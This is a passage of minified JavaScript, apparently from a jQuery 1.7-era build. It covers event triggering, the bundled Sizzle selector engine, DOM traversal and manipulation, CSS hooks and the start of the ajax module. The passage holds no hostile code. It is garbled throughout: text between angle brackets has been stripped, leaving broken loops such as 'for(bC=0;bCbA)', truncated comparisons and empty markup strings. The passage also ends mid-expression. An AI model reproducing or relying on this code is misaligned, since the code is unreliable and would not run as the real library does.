b.Event(bG,bv):new b.Event(bG);bv.type=bG;bv.isTrigger=true;bv.exclusive=bw;bv.namespace=bx.join(".");bv.namespace_re=bv.namespace?new RegExp("(^|\\.)"+bx.join("\\.(?:.*\\.)?")+"(\\.|$)"):null;by=bG.indexOf(":")<0?"on"+bG:"";if(!bA){e=b.cache;for(bC in e){if(e[bC].events&&e[bC].events[bG]){b.event.trigger(bv,bD,e[bC].handle.elem,true)}}return}bv.result=L;if(!bv.target){bv.target=bA}bD=bD!=null?b.makeArray(bD):[];bD.unshift(bv);bF=b.event.special[bG]||{};if(bF.trigger&&bF.trigger.apply(bA,bD)===false){return}bB=[[bA,bF.bindType||bG]];if(!bJ&&!bF.noBubble&&!b.isWindow(bA)){bI=bF.delegateType||bG;bH=T.test(bI+bG)?bA:bA.parentNode;bz=null;for(;bH;bH=bH.parentNode){bB.push([bH,bI]);bz=bH}if(bz&&bz===bA.ownerDocument){bB.push([bz.defaultView||bz.parentWindow||bb,bI])}}for(bC=0;bCbA){bH.push({elem:this,matches:bz.slice(bA)})}for(bC=0;bC0?this.on(e,null,bx,bw):this.trigger(e)};if(b.attrFn){b.attrFn[e]=true}if(aO.test(e)){b.event.fixHooks[e]=b.event.keyHooks}if(bf.test(e)){b.event.fixHooks[e]=b.event.mouseHooks}}); +/*! + * Sizzle CSS Selector Engine + * Copyright 2011, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * More information: http://sizzlejs.com/ + */ +(function(){var bH=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,bC="sizcache"+(Math.random()+"").replace(".",""),bI=0,bL=Object.prototype.toString,bB=false,bA=true,bK=/\\/g,bO=/\r\n/g,bQ=/\W/;[0,0].sort(function(){bA=false;return 0});var by=function(bV,e,bY,bZ){bY=bY||[];e=e||av;var b1=e;if(e.nodeType!==1&&e.nodeType!==9){return[]}if(!bV||typeof bV!=="string"){return bY}var bS,b3,b6,bR,b2,b5,b4,bX,bU=true,bT=by.isXML(e),bW=[],b0=bV;do{bH.exec("");bS=bH.exec(b0);if(bS){b0=bS[3];bW.push(bS[1]);if(bS[2]){bR=bS[3];break}}}while(bS);if(bW.length>1&&bD.exec(bV)){if(bW.length===2&&bE.relative[bW[0]]){b3=bM(bW[0]+bW[1],e,bZ)}else{b3=bE.relative[bW[0]]?[e]:by(bW.shift(),e);while(bW.length){bV=bW.shift();if(bE.relative[bV]){bV+=bW.shift()}b3=bM(bV,b3,bZ)}}}else{if(!bZ&&bW.length>1&&e.nodeType===9&&!bT&&bE.match.ID.test(bW[0])&&!bE.match.ID.test(bW[bW.length-1])){b2=by.find(bW.shift(),e,bT);e=b2.expr?by.filter(b2.expr,b2.set)[0]:b2.set[0]}if(e){b2=bZ?{expr:bW.pop(),set:bF(bZ)}:by.find(bW.pop(),bW.length===1&&(bW[0]==="~"||bW[0]==="+")&&e.parentNode?e.parentNode:e,bT);b3=b2.expr?by.filter(b2.expr,b2.set):b2.set;if(bW.length>0){b6=bF(b3)}else{bU=false}while(bW.length){b5=bW.pop();b4=b5;if(!bE.relative[b5]){b5=""}else{b4=bW.pop()}if(b4==null){b4=e}bE.relative[b5](b6,b4,bT)}}else{b6=bW=[]}}if(!b6){b6=b3}if(!b6){by.error(b5||bV)}if(bL.call(b6)==="[object Array]"){if(!bU){bY.push.apply(bY,b6)}else{if(e&&e.nodeType===1){for(bX=0;b6[bX]!=null;bX++){if(b6[bX]&&(b6[bX]===true||b6[bX].nodeType===1&&by.contains(e,b6[bX]))){bY.push(b3[bX])}}}else{for(bX=0;b6[bX]!=null;bX++){if(b6[bX]&&b6[bX].nodeType===1){bY.push(b3[bX])}}}}}else{bF(b6,bY)}if(bR){by(bR,b1,bY,bZ);by.uniqueSort(bY)}return bY};by.uniqueSort=function(bR){if(bJ){bB=bA;bR.sort(bJ);if(bB){for(var e=1;e0};by.find=function(bX,e,bY){var bW,bS,bU,bT,bV,bR;if(!bX){return[]}for(bS=0,bU=bE.order.length;bS":function(bW,bR){var bV,bU=typeof bR==="string",bS=0,e=bW.length;if(bU&&!bQ.test(bR)){bR=bR.toLowerCase();for(;bS=0)){if(!bS){e.push(bV)}}else{if(bS){bR[bU]=false}}}}return false},ID:function(e){return e[1].replace(bK,"")},TAG:function(bR,e){return bR[1].replace(bK,"").toLowerCase()},CHILD:function(e){if(e[1]==="nth"){if(!e[2]){by.error(e[0])}e[2]=e[2].replace(/^\+|\s*/g,"");var bR=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(e[2]==="even"&&"2n"||e[2]==="odd"&&"2n+1"||!/\D/.test(e[2])&&"0n+"+e[2]||e[2]);e[2]=(bR[1]+(bR[2]||1))-0;e[3]=bR[3]-0}else{if(e[2]){by.error(e[0])}}e[0]=bI++;return e},ATTR:function(bU,bR,bS,e,bV,bW){var bT=bU[1]=bU[1].replace(bK,"");if(!bW&&bE.attrMap[bT]){bU[1]=bE.attrMap[bT]}bU[4]=(bU[4]||bU[5]||"").replace(bK,"");if(bU[2]==="~="){bU[4]=" "+bU[4]+" "}return bU},PSEUDO:function(bU,bR,bS,e,bV){if(bU[1]==="not"){if((bH.exec(bU[3])||"").length>1||/^\w/.test(bU[3])){bU[3]=by(bU[3],null,null,bR)}else{var bT=by.filter(bU[3],bR,bS,true^bV);if(!bS){e.push.apply(e,bT)}return false}}else{if(bE.match.POS.test(bU[0])||bE.match.CHILD.test(bU[0])){return true}}return bU},POS:function(e){e.unshift(true);return e}},filters:{enabled:function(e){return e.disabled===false&&e.type!=="hidden"},disabled:function(e){return e.disabled===true},checked:function(e){return e.checked===true},selected:function(e){if(e.parentNode){e.parentNode.selectedIndex}return e.selected===true},parent:function(e){return !!e.firstChild},empty:function(e){return !e.firstChild},has:function(bS,bR,e){return !!by(e[3],bS).length},header:function(e){return(/h\d/i).test(e.nodeName)},text:function(bS){var e=bS.getAttribute("type"),bR=bS.type;return bS.nodeName.toLowerCase()==="input"&&"text"===bR&&(e===bR||e===null)},radio:function(e){return e.nodeName.toLowerCase()==="input"&&"radio"===e.type},checkbox:function(e){return e.nodeName.toLowerCase()==="input"&&"checkbox"===e.type},file:function(e){return e.nodeName.toLowerCase()==="input"&&"file"===e.type},password:function(e){return e.nodeName.toLowerCase()==="input"&&"password"===e.type},submit:function(bR){var e=bR.nodeName.toLowerCase();return(e==="input"||e==="button")&&"submit"===bR.type},image:function(e){return e.nodeName.toLowerCase()==="input"&&"image"===e.type},reset:function(bR){var e=bR.nodeName.toLowerCase();return(e==="input"||e==="button")&&"reset"===bR.type},button:function(bR){var e=bR.nodeName.toLowerCase();return e==="input"&&"button"===bR.type||e==="button"},input:function(e){return(/input|select|textarea|button/i).test(e.nodeName)},focus:function(e){return e===e.ownerDocument.activeElement}},setFilters:{first:function(bR,e){return e===0},last:function(bS,bR,e,bT){return bR===bT.length-1},even:function(bR,e){return e%2===0},odd:function(bR,e){return e%2===1},lt:function(bS,bR,e){return bRe[3]-0},nth:function(bS,bR,e){return e[3]-0===bR},eq:function(bS,bR,e){return e[3]-0===bR}},filter:{PSEUDO:function(bS,bX,bW,bY){var e=bX[1],bR=bE.filters[e];if(bR){return bR(bS,bW,bX,bY)}else{if(e==="contains"){return(bS.textContent||bS.innerText||bw([bS])||"").indexOf(bX[3])>=0}else{if(e==="not"){var bT=bX[3];for(var bV=0,bU=bT.length;bV=0)}}},ID:function(bR,e){return bR.nodeType===1&&bR.getAttribute("id")===e},TAG:function(bR,e){return(e==="*"&&bR.nodeType===1)||!!bR.nodeName&&bR.nodeName.toLowerCase()===e},CLASS:function(bR,e){return(" "+(bR.className||bR.getAttribute("class"))+" ").indexOf(e)>-1},ATTR:function(bV,bT){var bS=bT[1],e=by.attr?by.attr(bV,bS):bE.attrHandle[bS]?bE.attrHandle[bS](bV):bV[bS]!=null?bV[bS]:bV.getAttribute(bS),bW=e+"",bU=bT[2],bR=bT[4];return e==null?bU==="!=":!bU&&by.attr?e!=null:bU==="="?bW===bR:bU==="*="?bW.indexOf(bR)>=0:bU==="~="?(" "+bW+" ").indexOf(bR)>=0:!bR?bW&&e!==false:bU==="!="?bW!==bR:bU==="^="?bW.indexOf(bR)===0:bU==="$="?bW.substr(bW.length-bR.length)===bR:bU==="|="?bW===bR||bW.substr(0,bR.length+1)===bR+"-":false},POS:function(bU,bR,bS,bV){var e=bR[2],bT=bE.setFilters[e];if(bT){return bT(bU,bS,bR,bV)}}}};var bD=bE.match.POS,bx=function(bR,e){return"\\"+(e-0+1)};for(var bz in bE.match){bE.match[bz]=new RegExp(bE.match[bz].source+(/(?![^\[]*\])(?![^\(]*\))/.source));bE.leftMatch[bz]=new RegExp(/(^(?:.|\r|\n)*?)/.source+bE.match[bz].source.replace(/\\(\d+)/g,bx))}var bF=function(bR,e){bR=Array.prototype.slice.call(bR,0);if(e){e.push.apply(e,bR);return e}return bR};try{Array.prototype.slice.call(av.documentElement.childNodes,0)[0].nodeType}catch(bP){bF=function(bU,bT){var bS=0,bR=bT||[];if(bL.call(bU)==="[object Array]"){Array.prototype.push.apply(bR,bU)}else{if(typeof bU.length==="number"){for(var e=bU.length;bS";e.insertBefore(bR,e.firstChild);if(av.getElementById(bS)){bE.find.ID=function(bU,bV,bW){if(typeof bV.getElementById!=="undefined"&&!bW){var bT=bV.getElementById(bU[1]);return bT?bT.id===bU[1]||typeof bT.getAttributeNode!=="undefined"&&bT.getAttributeNode("id").nodeValue===bU[1]?[bT]:L:[]}};bE.filter.ID=function(bV,bT){var bU=typeof bV.getAttributeNode!=="undefined"&&bV.getAttributeNode("id");return bV.nodeType===1&&bU&&bU.nodeValue===bT}}e.removeChild(bR);e=bR=null})();(function(){var e=av.createElement("div");e.appendChild(av.createComment(""));if(e.getElementsByTagName("*").length>0){bE.find.TAG=function(bR,bV){var bU=bV.getElementsByTagName(bR[1]);if(bR[1]==="*"){var bT=[];for(var bS=0;bU[bS];bS++){if(bU[bS].nodeType===1){bT.push(bU[bS])}}bU=bT}return bU}}e.innerHTML="";if(e.firstChild&&typeof e.firstChild.getAttribute!=="undefined"&&e.firstChild.getAttribute("href")!=="#"){bE.attrHandle.href=function(bR){return bR.getAttribute("href",2)}}e=null})();if(av.querySelectorAll){(function(){var e=by,bT=av.createElement("div"),bS="__sizzle__";bT.innerHTML="

";if(bT.querySelectorAll&&bT.querySelectorAll(".TEST").length===0){return}by=function(b4,bV,bZ,b3){bV=bV||av;if(!b3&&!by.isXML(bV)){var b2=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b4);if(b2&&(bV.nodeType===1||bV.nodeType===9)){if(b2[1]){return bF(bV.getElementsByTagName(b4),bZ)}else{if(b2[2]&&bE.find.CLASS&&bV.getElementsByClassName){return bF(bV.getElementsByClassName(b2[2]),bZ)}}}if(bV.nodeType===9){if(b4==="body"&&bV.body){return bF([bV.body],bZ)}else{if(b2&&b2[3]){var bY=bV.getElementById(b2[3]);if(bY&&bY.parentNode){if(bY.id===b2[3]){return bF([bY],bZ)}}else{return bF([],bZ)}}}try{return bF(bV.querySelectorAll(b4),bZ)}catch(b0){}}else{if(bV.nodeType===1&&bV.nodeName.toLowerCase()!=="object"){var bW=bV,bX=bV.getAttribute("id"),bU=bX||bS,b6=bV.parentNode,b5=/^\s*[+~]/.test(b4);if(!bX){bV.setAttribute("id",bU)}else{bU=bU.replace(/'/g,"\\$&")}if(b5&&b6){bV=bV.parentNode}try{if(!b5||b6){return bF(bV.querySelectorAll("[id='"+bU+"'] "+b4),bZ)}}catch(b1){}finally{if(!bX){bW.removeAttribute("id")}}}}}return e(b4,bV,bZ,b3)};for(var bR in e){by[bR]=e[bR]}bT=null})()}(function(){var e=av.documentElement,bS=e.matchesSelector||e.mozMatchesSelector||e.webkitMatchesSelector||e.msMatchesSelector;if(bS){var bU=!bS.call(av.createElement("div"),"div"),bR=false;try{bS.call(av.documentElement,"[test!='']:sizzle")}catch(bT){bR=true}by.matchesSelector=function(bW,bY){bY=bY.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!by.isXML(bW)){try{if(bR||!bE.match.PSEUDO.test(bY)&&!/!=/.test(bY)){var bV=bS.call(bW,bY);if(bV||!bU||bW.document&&bW.document.nodeType!==11){return bV}}}catch(bX){}}return by(bY,null,null,[bW]).length>0}}})();(function(){var e=av.createElement("div");e.innerHTML="
";if(!e.getElementsByClassName||e.getElementsByClassName("e").length===0){return}e.lastChild.className="e";if(e.getElementsByClassName("e").length===1){return}bE.order.splice(1,0,"CLASS");bE.find.CLASS=function(bR,bS,bT){if(typeof bS.getElementsByClassName!=="undefined"&&!bT){return bS.getElementsByClassName(bR[1])}};e=null})();function bv(bR,bW,bV,bZ,bX,bY){for(var bT=0,bS=bZ.length;bT0){bU=e;break}}}e=e[bR]}bZ[bT]=bU}}}if(av.documentElement.contains){by.contains=function(bR,e){return bR!==e&&(bR.contains?bR.contains(e):true)}}else{if(av.documentElement.compareDocumentPosition){by.contains=function(bR,e){return !!(bR.compareDocumentPosition(e)&16)}}else{by.contains=function(){return false}}}by.isXML=function(e){var bR=(e?e.ownerDocument||e:0).documentElement;return bR?bR.nodeName!=="HTML":false};var bM=function(bS,e,bW){var bV,bX=[],bU="",bY=e.nodeType?[e]:e;while((bV=bE.match.PSEUDO.exec(bS))){bU+=bV[0];bS=bS.replace(bE.match.PSEUDO,"")}bS=bE.relative[bS]?bS+"*":bS;for(var bT=0,bR=bY.length;bT0){for(bB=bA;bB=0:b.filter(e,this).length>0:this.filter(e).length>0)},closest:function(by,bx){var bv=[],bw,e,bz=this[0];if(b.isArray(by)){var bB=1;while(bz&&bz.ownerDocument&&bz!==bx){for(bw=0;bw-1:b.find.matchesSelector(bz,by)){bv.push(bz);break}else{bz=bz.parentNode;if(!bz||!bz.ownerDocument||bz===bx||bz.nodeType===11){break}}}}bv=bv.length>1?b.unique(bv):bv;return this.pushStack(bv,"closest",by)},index:function(e){if(!e){return(this[0]&&this[0].parentNode)?this.prevAll().length:-1}if(typeof e==="string"){return b.inArray(this[0],b(e))}return b.inArray(e.jquery?e[0]:e,this)},add:function(e,bv){var bx=typeof e==="string"?b(e,bv):b.makeArray(e&&e.nodeType?[e]:e),bw=b.merge(this.get(),bx);return this.pushStack(C(bx[0])||C(bw[0])?bw:b.unique(bw))},andSelf:function(){return this.add(this.prevObject)}});function C(e){return !e||!e.parentNode||e.parentNode.nodeType===11}b.each({parent:function(bv){var e=bv.parentNode;return e&&e.nodeType!==11?e:null},parents:function(e){return b.dir(e,"parentNode")},parentsUntil:function(bv,e,bw){return b.dir(bv,"parentNode",bw)},next:function(e){return b.nth(e,2,"nextSibling")},prev:function(e){return b.nth(e,2,"previousSibling")},nextAll:function(e){return b.dir(e,"nextSibling")},prevAll:function(e){return b.dir(e,"previousSibling")},nextUntil:function(bv,e,bw){return b.dir(bv,"nextSibling",bw)},prevUntil:function(bv,e,bw){return b.dir(bv,"previousSibling",bw)},siblings:function(e){return b.sibling(e.parentNode.firstChild,e)},children:function(e){return b.sibling(e.firstChild)},contents:function(e){return b.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:b.makeArray(e.childNodes)}},function(e,bv){b.fn[e]=function(by,bw){var bx=b.map(this,bv,by);if(!ab.test(e)){bw=by}if(bw&&typeof bw==="string"){bx=b.filter(bw,bx)}bx=this.length>1&&!ay[e]?b.unique(bx):bx;if((this.length>1||a9.test(bw))&&aq.test(e)){bx=bx.reverse()}return this.pushStack(bx,e,P.call(arguments).join(","))}});b.extend({filter:function(bw,e,bv){if(bv){bw=":not("+bw+")"}return e.length===1?b.find.matchesSelector(e[0],bw)?[e[0]]:[]:b.find.matches(bw,e)},dir:function(bw,bv,by){var e=[],bx=bw[bv];while(bx&&bx.nodeType!==9&&(by===L||bx.nodeType!==1||!b(bx).is(by))){if(bx.nodeType===1){e.push(bx)}bx=bx[bv]}return e},nth:function(by,e,bw,bx){e=e||1;var bv=0;for(;by;by=by[bw]){if(by.nodeType===1&&++bv===e){break}}return by},sibling:function(bw,bv){var e=[];for(;bw;bw=bw.nextSibling){if(bw.nodeType===1&&bw!==bv){e.push(bw)}}return e}});function aG(bx,bw,e){bw=bw||0;if(b.isFunction(bw)){return b.grep(bx,function(bz,by){var bA=!!bw.call(bz,by,bz);return bA===e})}else{if(bw.nodeType){return b.grep(bx,function(bz,by){return(bz===bw)===e})}else{if(typeof bw==="string"){var bv=b.grep(bx,function(by){return by.nodeType===1});if(bp.test(bw)){return b.filter(bw,bv,!e)}else{bw=b.filter(bw,bv)}}}}return b.grep(bx,function(bz,by){return(b.inArray(bz,bw)>=0)===e})}function a(e){var bw=aR.split("|"),bv=e.createDocumentFragment();if(bv.createElement){while(bw.length){bv.createElement(bw.pop())}}return bv}var aR="abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",ag=/ jQuery\d+="(?:\d+|null)"/g,ar=/^\s+/,R=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,d=/<([\w:]+)/,w=/",""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]},ac=a(av);ax.optgroup=ax.option;ax.tbody=ax.tfoot=ax.colgroup=ax.caption=ax.thead;ax.th=ax.td;if(!b.support.htmlSerialize){ax._default=[1,"div
","
"]}b.fn.extend({text:function(e){if(b.isFunction(e)){return this.each(function(bw){var bv=b(this);bv.text(e.call(this,bw,bv.text()))})}if(typeof e!=="object"&&e!==L){return this.empty().append((this[0]&&this[0].ownerDocument||av).createTextNode(e))}return b.text(this)},wrapAll:function(e){if(b.isFunction(e)){return this.each(function(bw){b(this).wrapAll(e.call(this,bw))})}if(this[0]){var bv=b(e,this[0].ownerDocument).eq(0).clone(true);if(this[0].parentNode){bv.insertBefore(this[0])}bv.map(function(){var bw=this;while(bw.firstChild&&bw.firstChild.nodeType===1){bw=bw.firstChild}return bw}).append(this)}return this},wrapInner:function(e){if(b.isFunction(e)){return this.each(function(bv){b(this).wrapInner(e.call(this,bv))})}return this.each(function(){var bv=b(this),bw=bv.contents();if(bw.length){bw.wrapAll(e)}else{bv.append(e)}})},wrap:function(e){var bv=b.isFunction(e);return this.each(function(bw){b(this).wrapAll(bv?e.call(this,bw):e)})},unwrap:function(){return this.parent().each(function(){if(!b.nodeName(this,"body")){b(this).replaceWith(this.childNodes)}}).end()},append:function(){return this.domManip(arguments,true,function(e){if(this.nodeType===1){this.appendChild(e)}})},prepend:function(){return this.domManip(arguments,true,function(e){if(this.nodeType===1){this.insertBefore(e,this.firstChild)}})},before:function(){if(this[0]&&this[0].parentNode){return this.domManip(arguments,false,function(bv){this.parentNode.insertBefore(bv,this)})}else{if(arguments.length){var e=b.clean(arguments);e.push.apply(e,this.toArray());return this.pushStack(e,"before",arguments)}}},after:function(){if(this[0]&&this[0].parentNode){return this.domManip(arguments,false,function(bv){this.parentNode.insertBefore(bv,this.nextSibling)})}else{if(arguments.length){var e=this.pushStack(this,"after",arguments);e.push.apply(e,b.clean(arguments));return e}}},remove:function(e,bx){for(var bv=0,bw;(bw=this[bv])!=null;bv++){if(!e||b.filter(e,[bw]).length){if(!bx&&bw.nodeType===1){b.cleanData(bw.getElementsByTagName("*"));b.cleanData([bw])}if(bw.parentNode){bw.parentNode.removeChild(bw)}}}return this},empty:function(){for(var e=0,bv;(bv=this[e])!=null;e++){if(bv.nodeType===1){b.cleanData(bv.getElementsByTagName("*"))}while(bv.firstChild){bv.removeChild(bv.firstChild)}}return this},clone:function(bv,e){bv=bv==null?false:bv;e=e==null?bv:e;return this.map(function(){return b.clone(this,bv,e)})},html:function(bx){if(bx===L){return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(ag,""):null}else{if(typeof bx==="string"&&!ae.test(bx)&&(b.support.leadingWhitespace||!ar.test(bx))&&!ax[(d.exec(bx)||["",""])[1].toLowerCase()]){bx=bx.replace(R,"<$1>");try{for(var bw=0,bv=this.length;bw1&&bw0?this.clone(true):this).get();b(bC[bA])[bv](by);bz=bz.concat(by)}return this.pushStack(bz,e,bC.selector)}}});function bg(e){if(typeof e.getElementsByTagName!=="undefined"){return e.getElementsByTagName("*")}else{if(typeof e.querySelectorAll!=="undefined"){return e.querySelectorAll("*")}else{return[]}}}function az(e){if(e.type==="checkbox"||e.type==="radio"){e.defaultChecked=e.checked}}function E(e){var bv=(e.nodeName||"").toLowerCase();if(bv==="input"){az(e)}else{if(bv!=="script"&&typeof e.getElementsByTagName!=="undefined"){b.grep(e.getElementsByTagName("input"),az)}}}function al(e){var bv=av.createElement("div");ac.appendChild(bv);bv.innerHTML=e.outerHTML;return bv.firstChild}b.extend({clone:function(by,bA,bw){var e,bv,bx,bz=b.support.html5Clone||!ah.test("<"+by.nodeName)?by.cloneNode(true):al(by);if((!b.support.noCloneEvent||!b.support.noCloneChecked)&&(by.nodeType===1||by.nodeType===11)&&!b.isXMLDoc(by)){ai(by,bz);e=bg(by);bv=bg(bz);for(bx=0;e[bx];++bx){if(bv[bx]){ai(e[bx],bv[bx])}}}if(bA){t(by,bz);if(bw){e=bg(by);bv=bg(bz);for(bx=0;e[bx];++bx){t(e[bx],bv[bx])}}}e=bv=null;return bz},clean:function(bw,by,bH,bA){var bF;by=by||av;if(typeof by.createElement==="undefined"){by=by.ownerDocument||by[0]&&by[0].ownerDocument||av}var bI=[],bB;for(var bE=0,bz;(bz=bw[bE])!=null;bE++){if(typeof bz==="number"){bz+=""}if(!bz){continue}if(typeof bz==="string"){if(!W.test(bz)){bz=by.createTextNode(bz)}else{bz=bz.replace(R,"<$1>");var bK=(d.exec(bz)||["",""])[1].toLowerCase(),bx=ax[bK]||ax._default,bD=bx[0],bv=by.createElement("div");if(by===av){ac.appendChild(bv)}else{a(by).appendChild(bv)}bv.innerHTML=bx[1]+bz+bx[2];while(bD--){bv=bv.lastChild}if(!b.support.tbody){var e=w.test(bz),bC=bK==="table"&&!e?bv.firstChild&&bv.firstChild.childNodes:bx[1]===""&&!e?bv.childNodes:[];for(bB=bC.length-1;bB>=0;--bB){if(b.nodeName(bC[bB],"tbody")&&!bC[bB].childNodes.length){bC[bB].parentNode.removeChild(bC[bB])}}}if(!b.support.leadingWhitespace&&ar.test(bz)){bv.insertBefore(by.createTextNode(ar.exec(bz)[0]),bv.firstChild)}bz=bv.childNodes}}var bG;if(!b.support.appendChecked){if(bz[0]&&typeof(bG=bz.length)==="number"){for(bB=0;bB=0){return bx+"px"}}else{return bx}}}});if(!b.support.opacity){b.cssHooks.opacity={get:function(bv,e){return au.test((e&&bv.currentStyle?bv.currentStyle.filter:bv.style.filter)||"")?(parseFloat(RegExp.$1)/100)+"":e?"1":""},set:function(by,bz){var bx=by.style,bv=by.currentStyle,e=b.isNumeric(bz)?"alpha(opacity="+bz*100+")":"",bw=bv&&bv.filter||bx.filter||"";bx.zoom=1;if(bz>=1&&b.trim(bw.replace(ak,""))===""){bx.removeAttribute("filter");if(bv&&!bv.filter){return}}bx.filter=ak.test(bw)?bw.replace(ak,e):bw+" "+e}}}b(function(){if(!b.support.reliableMarginRight){b.cssHooks.marginRight={get:function(bw,bv){var e;b.swap(bw,{display:"inline-block"},function(){if(bv){e=Z(bw,"margin-right","marginRight")}else{e=bw.style.marginRight}});return e}}}});if(av.defaultView&&av.defaultView.getComputedStyle){aI=function(by,bw){var bv,bx,e;bw=bw.replace(z,"-$1").toLowerCase();if((bx=by.ownerDocument.defaultView)&&(e=bx.getComputedStyle(by,null))){bv=e.getPropertyValue(bw);if(bv===""&&!b.contains(by.ownerDocument.documentElement,by)){bv=b.style(by,bw)}}return bv}}if(av.documentElement.currentStyle){aX=function(bz,bw){var bA,e,by,bv=bz.currentStyle&&bz.currentStyle[bw],bx=bz.style;if(bv===null&&bx&&(by=bx[bw])){bv=by}if(!bc.test(bv)&&bn.test(bv)){bA=bx.left;e=bz.runtimeStyle&&bz.runtimeStyle.left;if(e){bz.runtimeStyle.left=bz.currentStyle.left}bx.left=bw==="fontSize"?"1em":(bv||0);bv=bx.pixelLeft+"px";bx.left=bA;if(e){bz.runtimeStyle.left=e}}return bv===""?"auto":bv}}Z=aI||aX;function p(by,bw,bv){var bA=bw==="width"?by.offsetWidth:by.offsetHeight,bz=bw==="width"?an:a1,bx=0,e=bz.length;if(bA>0){if(bv!=="border"){for(;bx)<[^<]*)*<\/script>/gi,q=/^(?:select|textarea)/i,h=/\s+/,br=/([?&])_=[^&]*/,K=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,A=b.fn.load,aa={},r={},aE,s,aV=["*/"]+["*"];try{aE=bl.href}catch(aw){aE=av.createElement("a");aE.href="";aE=aE.href}s=K.exec(aE.toLowerCase())||[];function f(e){return function(by,bA){if(typeof by!=="string"){bA=by;by="*"}if(b.isFunction(bA)){var bx=by.toLowerCase().split(h),bw=0,bz=bx.length,bv,bB,bC;for(;bw=0){var e=bw.slice(by,bw.length);bw=bw.slice(0,by)}var bx="GET";if(bz){if(b.isFunction(bz)){bA=bz;bz=L}else{if(typeof bz==="object"){bz=b.param(bz,b.ajaxSettings.traditional);bx="POST"}}}var bv=this;b.ajax({url:bw,type:bx,dataType:"html",data:bz,complete:function(bC,bB,bD){bD=bC.responseText;if(bC.isResolved()){bC.done(function(bE){bD=bE});bv.html(e?b("
").append(bD.replace(a6,"")).find(e):bD)}if(bA){bv.each(bA,[bD,bB,bC])}}});return this},serialize:function(){return b.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?b.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||q.test(this.nodeName)||aZ.test(this.type))}).map(function(e,bv){var bw=b(this).val();return bw==null?null:b.isArray(bw)?b.map(bw,function(by,bx){return{name:bv.name,value:by.replace(bs,"\r\n")}}):{name:bv.name,value:bw.replace(bs,"\r\n")}}).get()}});b.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(e,bv){b.fn[bv]=function(bw){return this.on(bv,bw)}});b.each(["get","post"],function(e,bv){b[bv]=function(bw,by,bz,bx){if(b.isFunction(by)){bx=bx||bz;bz=by;by=L}return b.ajax({type:bv,url:bw,data:by,success:bz,dataType:bx})}});b.extend({getScript:function(e,bv){return b.get(e,L,bv,"script")},getJSON:function(e,bv,bw){return b.get(e,bv,bw,"json")},ajaxSetup:function(bv,e){if(e){am(bv,b.ajaxSettings)}else{e=bv;bv=b.ajaxSettings}am(bv,e);return bv},ajaxSettings:{url:aE,isLocal:aM.test(s[1]),global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":aV},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":bb.String,"text html":true,"text json":b.parseJSON,"text xml":b.parseXML},flatOptions:{context:true,url:true}},ajaxPrefilter:f(aa),ajaxTransport:f(r),ajax:function(bz,bx){if(typeof bz==="object"){bx=bz;bz=L}bx=bx||{};var bD=b.ajaxSetup({},bx),bS=bD.context||bD,bG=bS!==bD&&(bS.nodeType||bS instanceof b)?b(bS):b.event,bR=b.Deferred(),bN=b.Callbacks("once memory"),bB=bD.statusCode||{},bC,bH={},bO={},bQ,by,bL,bE,bI,bA=0,bw,bK,bJ={readyState:0,setRequestHeader:function(bT,bU){if(!bA){var e=bT.toLowerCase();bT=bO[e]=bO[e]||bT;bH[bT]=bU}return this},getAllResponseHeaders:function(){return bA===2?bQ:null},getResponseHeader:function(bT){var e;if(bA===2){if(!by){by={};while((e=aD.exec(bQ))){by[e[1].toLowerCase()]=e[2]}}e=by[bT.toLowerCase()]}return e===L?null:e},overrideMimeType:function(e){if(!bA){bD.mimeType=e}return this},abort:function(e){e=e||"abort";if(bL){bL.abort(e)}bF(0,e);return this}};function bF(bZ,bU,b0,bW){if(bA===2){return}bA=2;if(bE){clearTimeout(bE)}bL=L;bQ=bW||"";bJ.readyState=bZ>0?4:0;var bT,b4,b3,bX=bU,bY=b0?bj(bD,bJ,b0):L,bV,b2;if(bZ>=200&&bZ<300||bZ===304){if(bD.ifModified){if((bV=bJ.getResponseHeader("Last-Modified"))){b.lastModified[bC]=bV}if((b2=bJ.getResponseHeader("Etag"))){b.etag[bC]=b2}}if(bZ===304){bX="notmodified";bT=true}else{try{b4=G(bD,bY);bX="success";bT=true}catch(b1){bX="parsererror";b3=b1}}}else{b3=bX;if(!bX||bZ){bX="error";if(bZ<0){bZ=0}}}bJ.status=bZ;bJ.statusText=""+(bU||bX);if(bT){bR.resolveWith(bS,[b4,bX,bJ])}else{bR.rejectWith(bS,[bJ,bX,b3])}bJ.statusCode(bB);bB=L;if(bw){bG.trigger("ajax"+(bT?"Success":"Error"),[bJ,bD,bT?b4:b3])}bN.fireWith(bS,[bJ,bX]);if(bw){bG.trigger("ajaxComplete",[bJ,bD]);if(!(--b.active)){b.event.trigger("ajaxStop")}}}bR.promise(bJ);bJ.success=bJ.done;bJ.error=bJ.fail;bJ.complete=bN.add;bJ.statusCode=function(bT){if(bT){var e;if(bA<2){for(e in bT){bB[e]=[bB[e],bT[e]]}}else{e=bT[bJ.status];bJ.then(e,e)}}return 